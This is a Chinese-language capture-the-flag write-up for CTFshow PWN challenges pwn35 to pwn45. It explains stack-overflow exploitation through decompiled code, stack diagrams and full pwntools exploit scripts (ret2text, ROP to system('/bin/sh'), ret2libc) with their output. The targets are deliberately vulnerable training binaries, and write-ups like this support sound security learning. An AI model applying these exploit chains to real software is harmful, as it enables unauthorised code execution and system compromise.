pwn35

Hint:正式开始栈溢出了,先来一个最最最最简单的吧
用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接
ssh ctfshow@题目地址 -p题目端口号
不是nc连接
$ cyclic 105
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
$ ssh ctfshow@题目地址 -p题目端口号
$./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : See what the program does!
* *************************************
Where is flag?

ctfshow{...}
分析过程:

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序开启NX,部分开启RELRO

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [esp+0h] [ebp-1Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
puts(asc_8048910);
puts(asc_8048984);
puts(asc_8048A00);
puts(asc_8048A8C);
puts(asc_8048B1C);
puts(asc_8048BA0);
puts(asc_8048C34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : See what the program does! ");
puts(" * ************************************* ");
puts("Where is flag?\n");
if ( argc <= 1 )
{
puts("Try again!");
}
else
{
ctfshow((char *)argv[1]);
printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
}
return 0;
}

打开”/ctfshow_flag” 文件,读取其中的内容,并根据命令行参数决定打印不同的消息。如果命令行参数个数小于等于 1,则提示用户重试,否则调用 ctfshow 函数处理用户输入的命令行参数,并输出相关消息。

跟进ctfshow函数:

char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

return strcpy(dest, src);
}

char dest; 声明一个名为 dest 的字符变量。 return strcpy(&dest, src); 使用 strcpy 函数将 src 字符串复制到 dest 字符数组中,并返回指向 dest 的指针。strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。

.bss:0804B060                 public flag
.bss:0804B060 ; char flag[64]
.bss:0804B060 flag db 40h dup(?) ; DATA XREF: sigsegv_handler+1D↑o
.bss:0804B060 ; main+66↑o
.bss:0804B060 _bss ends
.bss:0804B060

注意到signal(11, (__sighandler_t)sigsegv_handler);函数

当发生 对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出

那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag

$ cyclic 105
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
$ ./pwn aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : See what the program does!
* *************************************
Where is flag?

flag{just_test_my_process}

pwn36

Hint:存在后门函数,如何利用?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
RWX: Has RWX segments

32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow();
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

还在程序中找到了get_flag函数:

int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址,将程序的执行流程转向 get_flag 函数,从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : There are backdoor functions here!
* *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn37

Hint:32位的 system(“/bin/sh”) 后门函数给你

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32为程序,关闭了栈保护与PIE

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Just very easy ret2text&&32bit");
ctfshow();
puts("\nExit");
return 0;
}

简单查看能够看到漏洞函数为ctfshow函数,跟进ctfshow函数:

ssize_t ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}

首先声明了一个名为 buf 的字符数组,大小为14字节它距离ebp的距离为0x12,这里通过read函数

buf能读入0x32 ,转换为10进制就是50个字节的数据,因此这里很明显就存在栈溢出了,在找到漏洞点

后,很明显看到左边有一个backdoor函数,跟进查看:

int backdoor()
{
system("/bin/sh");
return 0;
}

发现是我们所需的一个后门函数,那么我们直接进行溢出覆盖返回地址再输入后门函数地址即可控

制程序的执行流程至此,那么我们也就得到了我们所需要的一个shell了。

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
backdoor=0x08048521 #backdoor = elf.sym['backdoor']
payload=cyclic(0x12+4)+p32(backdoor) #b'a'*(0x12+4)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 76
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system and '/bin/sh'.There is a backdoor function
* *************************************
Just very easy ret2text&&32bit
$ ls
ctfshow_flag exp.py pwn

pwn38

Hint:64位的 system(“/bin/sh”) 后门函数给你

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x00000000004007e3 : pop rdi ; ret

64位程序,关闭了栈保护与PIE

将程序拖进64位IDA查看main函数跟进漏洞ctfshow函数:

ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32u);
}

与上题一样,这里存在溢出点,也同样存在后门函数backdoor:

__int64 backdoor()
{
system("/bin/sh\n");
return 0;
}

但是与32位不同的是,这里需要考虑到堆栈平衡加上ret返回地址

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show', 28140)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']
ret = 0x40066D
payload = b'a'*(0xA+8) + p64(ret) + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()
或者
from pwn import *
io=process('./pwn')
elf=ELF('./pwn')
system_addr = elf.plt['system'] # system函数地址
binsh_addr=0x40065B
pop_rdi=0x4007e3
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 107
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system and '/bin/sh'.There is a backdoor function
* *************************************
Just easy ret2text&&64bit
$ ls
ctfshow_flag exp.py pwn

pwn39

Hint:32位的 system(); “/bin/sh”

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ objdump -d ./pwn | grep system@plt
080483a0 <system@plt>:
804854f: e8 4c fe ff ff call 80483a0 <system@plt>

32位程序,关闭了栈保护与PIE

IDA查看漏洞函数:

ssize_t __cdecl ctfshow()
{
_BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

return read(0, buf, 0x32u);
}

同样的,漏洞点还是在这,但是我们需要的东西发生了改变,跟进hint函数:

int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}

发现有“/bin/sh”字符串,有system函数打,但是直接把程序的流程劫持到这并不能得到我们想要

的,我们需要进一步进行构造来进行获取shell

payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)

如上所示,我们构造的payload在先进行溢出后,填上system函数的地址,这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,使用 p32 函数将整数值0转换为4字节的字符串。这个字符串将作为 system 函数的第二个参数,用于提供一个指向空值的指针作为 system 函数的第二个参数。当然在这里使用其他任意4个字符进行覆盖也可以如‘aaaa’,’bbbb’等均可。 p32(bin_sh) : 这部分使用 p32 函数将 bin_sh 的地址转换为一个4字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串(如 /bin/sh )的指针。该字符串将作为 system函数的第一个参数。

到此我们就手动构造出了一个system(“/bin/sh”)出来了,也就能获得我们所需要的shell了

.rodata:08048750 aBinSh          db '/bin/sh',0          ; DATA XREF: hint+15↑o
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
bin_sh=0x08048750 #"/bin/sh"字符串地址(.rodata段)
payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 192
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system and '/bin/sh',but they don't work together
* *************************************
Just easy ret2text&&32bit
$ ls
ctfshow_flag exp.py pwn

pwn40

Hint:64位的 system(); “/bin/sh”

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x00000000004007e3 : pop rdi ; ret

是64位程序,关闭了栈保护与PIE

这几题的漏洞点都几乎一样,唯一不同的就是慢慢的少了参数之类的,重复的内容就不再赘述了,

讲解关键的

ssize_t ctfshow()
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

return read(0, buf, 0x32u);
}

hint:

int hint()
{
puts("/bin/sh");
return system("echo 'You find me?'");
}

这里与上一题一样,有system函数,有‘/bin/sh’字符串,但是不在一起,因此我们仍然需要手动进行构造payload

64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。

payload = b'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)

对每个部分进行逐步解释:

  1. ‘a’*(0xA+8) : 这部分生成了一个由字符 ‘a’ 组成的字符串,长度为0xA+8。这是为了填充缓冲区,达到溢出栈帧的目的。

  2. p64(pop_rdi) : 这部分使用 p64 函数将 pop_rdi 的地址转换为一个8字节的字符串。pop_rdi 指令用于将值从栈上弹出并存储到寄存器rdi中。在这个payload中,它用于准备传递给 system 函数的第一个参数。

  3. p64(bin_sh) : 这部分使用 p64 函数将 bin_sh 的地址转换为一个8字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串(如 /bin/sh )的指针。该字符串将作为 system 函数的第一个参数。

  4. p64(ret) : 这部分使用 p64 函数将 ret 的地址转换为一个8字节的字符串。 ret 是一个返回指令,用于将程序控制权返回到栈上保存的地址。在这个payload中,它被用作一个间接跳转指令,用于绕过栈中的返回地址,以达到执行 system 函数的目的。

  5. p64(system) : 这部分使用 p64 函数将 system 的函数地址转换为一个8字节的字符串。system 是一个函数指针,指向一个可以执行系统命令的函数。最终我们的目的就是通过栈溢出修改返回地址,以控制程序执行流程。它通过调用 pop_rdi 指令将bin_sh 的地址加载到寄存器rdi中,然后通过 ret 指令进行间接跳转,最终调用 system 函数,以执行system(“/bin/sh”)进而获得一个我们想要的shell。

.init:00000000004004FE                 retn
.rodata:0000000000400808 s db '/bin/sh',0 ; DATA XREF: hint+4↑o
from pwn import *
context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
pop_rdi=0x4007E3
bin_sh=0x400808
ret=0x4004FE
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 239
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system and '/bin/sh',but they don't work together
* *************************************
Just easy ret2text&&64bit
$ ls
ctfshow_flag exp.py pwn

pwn41

Hint:32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

与上面一样,只不过这次出现的不是“/bin/sh”字符串,题目提示让我们找到一个字符串来进行替代它,通过对前面的学习,我们知道可以使用”sh”来进行替代“/bin/sh

int useful()
{
return printf("sh");
}

那么它两有什么区别呢?

  1. system(“/bin/sh”) :

    • 在Linux和类Unix系统中, /bin/sh 通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system(“/bin/sh”) 会启动指定的shell程序,并在新的子进程中执行。
    • 这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行件。
  2. system(“sh”) :

    • 使用 system(“sh”) 会直接启动一个名为 sh 的shell程序,并在新的子进程中执行。
    • 这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败。

总结来说, system(“/bin/sh”) 是直接指定了系统默认的shell程序路径来执行命令,而system(“sh”) 则依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的

.rodata:080487BA aSh             db 'sh',0               ; DATA XREF: useful+14↑o
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
sh=0x080487BA
payload=cyclic(0x12+4)+p32(system)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 263
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system ,but don't have '/bin/sh'.Find something to replace it!
* *************************************
$ ls
ctfshow_flag exp.py pwn

pwn42

Hint:64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代

同上,也仅仅是64位与32位的区别

$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x0000000000400843 : pop rdi ; ret
.init:000000000040053E                 retn
.rodata:0000000000400872 format db 'sh',0 ; DATA XREF: useful+4↑o
from pwn import *
#context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
pop_rdi=0x400843
ret=0x40053E
sh=0x400872
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 286
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system ,but don't have '/bin/sh'.Find something to replace it!
* *************************************
$ ls
ctfshow_flag exp.py pwn

pwn43

Hint:32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

这题又有所不同了,存在system函数,但是没有了参数供我们使用,需要我们自己去进行构造。我们一步步的开始学习新东西

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ ROPgadget --binary ./pwn | grep "pop ebx ; ret"
0x08048409 : pop ebx ; ret

可以看到是32位程序,关闭栈保护和PIE保护的

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
return 0;
}

同样的,简单查看各个函数后跟进漏洞函数ctfshow:

char *ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

return gets(s);
}
int hint()
{
time_t seed; // eax
int result; // eax
int v2; // [esp+8h] [ebp-10h] BYREF
int v3; // [esp+Ch] [ebp-Ch]

seed = time(0);
srand(seed);
v3 = rand();
__isoc99_scanf("%d", &v2);
result = v2;
if ( v3 == v2 )
return system("where is shell?");
return result;
}

这次有变化了,这次是用gets函数进行读入数据,它可以无限读取,不会判断上限,可以包含空格,以回车结束读取。所以这里就存在了明显的溢出

同时我们可以看到程序中已有system函数,那么我们只需要去找到它的参数,但是遗憾的是并没有找到

但是我们可以注意bss段有一个buf2

.bss:0804B060                 public buf2
.bss:0804B060 buf2 db ? ;

那么我们向程序中 bss 段的 buf2 处写入 “/bin/sh” 字符串,并将其地址作为 system 的参数传入。

我们可以构造如下payload:

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system)
+ 'aaaa' + p32(buf2)

我们逐步解释此payload:

  1. cyclic(0x6c+4) : 这部分使用pwntools库中的 cyclic 函数生成一个循环模式的字符串,长度为0x6c+4。循环模式字符串用于进行调试和定位溢出点。当然这里你也可以继续使用 b’a’*(0x6c+4)也是没有问题的。

  2. p32(gets) : 这部分使用pwntools的 p32 函数将 gets 函数的地址转换为一个4字节的字符串。它用于将 gets 函数的地址作为返回地址覆盖到栈上。使程序在溢出时调用 gets 函数。

  3. p32(pop_ebx) : 这部分使用 p32 函数将 pop_ebx 的地址转换为一个4字节的字符串。pop_ebx 是一个指令序列,用于将栈上的值弹出并存储到寄存器ebx中。(清理栈)

  4. p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。 buf2 是一个指向存储输入数据的缓冲区的指针。

  5. p32(system) : 这部分使用 p32 函数将 system 函数的地址转换为一个4字节的字符串。它将用于将 system 函数的地址作为返回地址覆盖到栈上。

  6. ‘aaaa’ : 这部分是一个4字节的字符串,用于填充栈上的返回地址的剩余空间。【可以写成p32(0)]

  7. p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。它作为pop_ebx 指令的参数,用于将 buf2 的地址加载到寄存器ebx中。

这个payload的目的是通过栈溢出漏洞控制程序的执行流程。它通过覆盖返回地址,将 gets 函数的地址作为返回地址覆盖到栈上。然后使用 pop_ebx 指令将 buf2 的地址加载到寄存器ebx中,最后覆盖返回地址为 system 函数的地址。通过这样的方式,可以执行 system(buf2) 来执行 buf2 指向的字符串所表示的系统命令。

# 栈布局(高地址 → 低地址)
+-------------------+ ← 初始栈顶(溢出前)
| ... | 其他栈数据
+-------------------+
| s[103] (局部) | ctfshow函数的局部数组s[104]
| s[102] (局部) | 偏移:ebp-0x6C 到 ebp-0x1
| ... |
| s[0] (局部) |
+-------------------+ ← ebp-0x6C(s的起始地址)
| ebp值 | 旧基址指针(4字节),偏移:ebp
+-------------------+ ← 返回地址(溢出目标)
| gets函数地址 | [溢出覆盖] 第一步:跳转到gets函数
+-------------------+ ← gets执行完后返回的地址
| pop_ebx地址 | [溢出覆盖] 第二步:执行pop ebx; ret
+-------------------+ ← pop_ebx的参数(gets的参数)
| buf2地址(0x804B060)| [溢出覆盖] 往buf2写入"/bin/sh"(告诉gets将输入写入到buf2地址)
+-------------------+ ← pop_ebx执行完后返回的地址
| system函数地址 | [溢出覆盖] 第三步:跳转到system函数
+-------------------+ ← system执行完后返回的地址(无用)
| 占位数据(aaaa) | [溢出覆盖] 随便填4字节(如0x61616161)
+-------------------+ ← system的参数
| buf2地址(0x804B060)| [溢出覆盖] system("/bin/sh")的参数(告诉system执行buf2地址处的字符串)
+-------------------+ ← 溢出后的栈顶(payload末尾)
| ... | 更低地址的栈数据

# 执行流程箭头说明:
ctfshow函数崩溃 → 跳转到gets函数 → 执行gets(buf2) → 接收输入"/bin/sh"写入buf2 → 跳转到pop_ebx → 弹出buf2地址到ebx → 跳转到system函数 → system读取参数buf2 → 执行system("/bin/sh") → 获取shell
io.sendline("/bin/sh")

这里通过输入传递给 gets 函数。由于payload中已经控制了程序的执行流程,这个输入将成为gets 函数的输入,进而被作为 system 函数的参数执行系统命令。

最终我们这样就执行了system(“/bin/sh”) 进而实现了我们的目的了

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
buf2=0x0804B060
gets=elf.sym['gets']
pop_ebx=0x08048409
payload=cyclic(0x6C+4)+p32(gets)+p32(pop_ebx)+p32(buf2)+p32(system)+p32(0)+p32(buf2)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 308
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
/CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline("/bin/sh")
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : This time there is no replacement! How to do?
* *************************************
$ ls
ctfshow_flag exp.py pwn

pwn44

Hint:64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x00000000004007f3 : pop rdi ; ret

64位程序仍然是关闭栈保护与PIE

IDA查看漏洞函数ctfshow:

__int64 ctfshow()
{
_BYTE v1[10]; // [rsp+6h] [rbp-Ah] BYREF

return gets(v1);
}
int hint()
{
return system("no shell for you");
}

还是栈溢出漏洞,跟上题一样,有system函数,没有参数,也没有看到可以替代的

我们构造payload:

payload = cyclic(0xA + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) +
p64(pop_rdi) + p64(buf2) + p64(system)

首先利用 pop_rdi 指令将 buf2 的地址加载到 rdi 寄存器中。调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在 buf2 中。再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中。调用 system 函数,以 buf2 的地址作为参数,执行指定的命令。

或者也可以直接套板子ret2libc直接求解也是可以的(在下面的几题也是用的此种做法)

.bss:0000000000602080                 public buf2
.bss:0000000000602080 buf2 db ? ;
# 栈布局(高地址 → 低地址)
+-----------------------+ ← 初始栈顶(溢出前)
| ... | 其他栈数据
+-----------------------+
| 局部变量(0xA字节) | 被cyclic(0xA)覆盖
+-----------------------+
| rbp值 | 旧基址指针(8字节),被cyclic(8)覆盖
+-----------------------+ ← 返回地址(溢出目标)
| pop rdi地址 | [溢出覆盖] 第一步:执行pop rdi; ret
+-----------------------+ ← pop rdi的操作数(gets的参数)
| buf2地址(0x602080) | 被弹出到rdi寄存器(gets要写入的地址)
+-----------------------+ ← gets执行完后返回的地址
| gets函数地址 | [溢出覆盖] 第二步:调用gets函数
+-----------------------+ ← gets执行完后的返回地址
| pop rdi地址 | [溢出覆盖] 第三步:再次执行pop rdi; ret
+-----------------------+ ← pop rdi的操作数(system的参数)
| buf2地址(0x602080) | 被弹出到rdi寄存器(此时已存"/bin/sh")
+-----------------------+ ← system执行完后返回的地址(可省略)
| system函数地址 | [溢出覆盖] 第四步:调用system函数
+-----------------------+ ← 溢出后的栈顶(payload末尾)
| ... | 更低地址的栈数据

# 执行流程箭头:
溢出后 → pop rdi(rdi=buf2) → 调用gets → 写入"/bin/sh"到buf2 →
pop rdi(rdi=buf2) → 调用system → system读取rdi中buf2的"/bin/sh" → 获取shell
from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
gets=elf.sym['gets']
pop_rdi=0x4007f3
buf2=0x602080
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(system)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

或者
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28137)
elf = ELF('./pwn')
libc = ELF('/home/bit/libc/64bit/libc-2.27.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi = 0x4007f3 # 0x00000000004007f3 : pop rdi ; ret
ret = 0x4004fe # 0x00000000004004fe : ret
payload = cyclic(0xA+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +
p64(main)
io.recvuntil("get system parameter!")
io.sendline(payload)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
'''
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
'''
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) +
p64(system)
io.recvuntil("get system parameter!")
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 333
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : This time there is no replacement! How to do?
* *************************************
get system parameter!
$ ls
ctfshow_flag exp.py pwn

pwn45

Hint:32位,无 system 无 “/bin/sh”

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭栈保护关闭PIE

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("O.o?");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}

这次发现下面有一个write函数,漏洞点还是在ctfshow函数,跟进查看一下:

ssize_t ctfshow()
{
_BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF

return read(0, buf, 0xC8u);
}

还是明显的溢出漏洞了,只是其中的偏移变了,大差不差,现在我们关心的是如何去找到我们所需要的东西呢?现在既没有system,也没有“/bin/sh”

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

